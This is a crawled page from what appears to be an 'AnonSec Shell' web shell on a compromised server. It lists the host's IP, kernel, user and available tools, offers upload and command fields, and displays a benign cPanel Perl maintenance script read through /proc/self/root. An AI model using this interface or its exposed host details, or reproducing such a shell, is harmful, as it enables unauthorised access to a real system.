AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 3.128.201.123
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/scripts//cpanelsync_postprocessor
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/cpanelsync_postprocessor        Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use Cpanel::Binaries ();
use Cpanel::LoadFile ();

my $saferoot = $ARGV[0];

if ( $saferoot =~ /^\/usr\/local\/cpanel$/ ) {
    if ( -e $saferoot . '/.cpanelsync.new' && -s _ ) {
        my $newfiles = Cpanel::LoadFile::loadfile( $saferoot . '/.cpanelsync.new' );
        my @OPT      = ();
        if ( $newfiles =~ /Cpanel/ )      { push @OPT, '/usr/local/cpanel/Cpanel'; }
        if ( $newfiles =~ /unprotected/ ) { push @OPT, '/usr/local/cpanel/base/unprotected'; }
        if ( $newfiles =~ /yui/ )         { push @OPT, '/usr/local/cpanel/base/yui'; }
        if ( $newfiles =~ /cjt/ )         { push @OPT, '/usr/local/cpanel/base/cjt'; }

        _chattr(@OPT) if (@OPT);
    }
}
if ( $saferoot =~ /^\/(?:scripts|usr\/local\/cpanel\/bin|usr\/local\/cpanel\/bin)$/ ) {
    if ( -e $saferoot . '/.cpanelsync.new' && -s _ ) {
        _chattr($saferoot);
    }
}
elsif ( $saferoot =~ /^\/usr\/local\/cpanel\/base\/frontend/ ) {
    if ( -e $saferoot . '/.cpanelsync.new' && -s _ ) {

        _chattr($saferoot);
    }
}

sub _chattr {
    my @dirs       = @_;
    my $chattr_bin = Cpanel::Binaries::path('chattr');
    -x $chattr_bin or exit;
    print "Optimizing File Access in " . join( ',', @dirs ) . "....";
    system $chattr_bin, '-R', '+A', @dirs;
    print "Done\n";
}

Anon7 - 2022
AnonSec Team